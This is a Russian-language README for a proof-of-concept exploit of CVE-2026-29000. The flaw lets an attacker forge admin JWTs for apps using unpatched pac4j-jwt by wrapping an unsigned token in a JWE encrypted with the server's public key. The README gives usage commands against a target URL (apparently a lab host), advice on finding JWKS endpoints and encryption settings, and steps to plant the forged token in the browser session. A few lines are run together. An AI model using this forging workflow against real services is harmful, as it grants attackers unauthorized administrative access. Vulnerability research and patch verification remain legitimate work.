
CVE-2026-29000 PoC: обход аутентификации pac4j-jwt PlainJWT-in-JWE.
Proof-of-concept для CVE-2026-29000. Нацелен на версии pac4j-jwt до 4.5.9, 5.7.9 и 6.3.3.
Уязвимость проста: библиотека принимает PlainJWT (без подписи, alg=none) при условии, что он обёрнут в валидный JWE. Поскольку сервер публикует свой открытый RSA-ключ через JWKS-эндпоинт, любой может зашифровать произвольный неподписанный JWT в JWE, которому сервер доверится — включая JWT с ролью ROLE_ADMIN.
alg=none) с любыми нужными claimsСервер расшифровывает его, доверяет claims внутри и никогда не проверяет, что внутренний JWT не подписан.
Python 3.13+ с uv, либо установите зависимости вручную:
pip install jwcrypto requests
[uv run / python3] CVE-2026-29000.py --url <base_url> --jwks <jwks_path> [options]
Обязательные:
| флаг | описание |
|---|---|
--url | базовый URL цели, например http://10.10.11.x:8080 |
--jwks | путь или полный URL до JWKS-эндпоинта |
Необязательные:
Примеры:
python3 exploit.py --url http://10.10.11.x:8080 --jwks /api/auth/jwks
python3 exploit.py --url http://10.10.11.x:8080 --jwks /api/auth/jwks --user john --role ROLE_ADMIN
python3 exploit.py --url http://10.10.11.x:8080 --jwks /.well-known/jwks.json --enc A128GCM
Не всегда очевидно. Хорошие места для поиска:
/robots.txt — часто перечисляет ограниченные или внутренние пути/api/auth/jwks/.well-known/jwks.json/.well-known/openid-configurationЕсли токен отклоняется, приложение может ожидать конкретный алгоритм шифрования. Проверьте /static/js/app.js на наличие чего-то вроде:
const JWE_ALG = "RSA-OAEP-256";
const JWE_ENC = "A128GCM";
Затем запустите повторно с --enc A128GCM.
Способ хранения токена тоже обычно указан там:
class TokenManager {
static getToken() {
return sessionStorage.getItem('auth_token');
}
}
Если используется sessionStorage, замените токен напрямую в DevTools в разделе Application > Session Storage.
Исправлено в версиях 4.5.9, 5.7.9 и 6.3.3.
| флаг | значение по умолчанию | описание |
|---|
--user | admin | значение для claim sub |
--role | ROLE_ADMIN | роль для подделки (ROLE_ADMIN, ROLE_MANAGER, ROLE_USER) |
--issuer | principal-platform | значение для claim iss |
--enc | A256GCM | шифрование содержимого JWE (A256GCM или A128GCM) |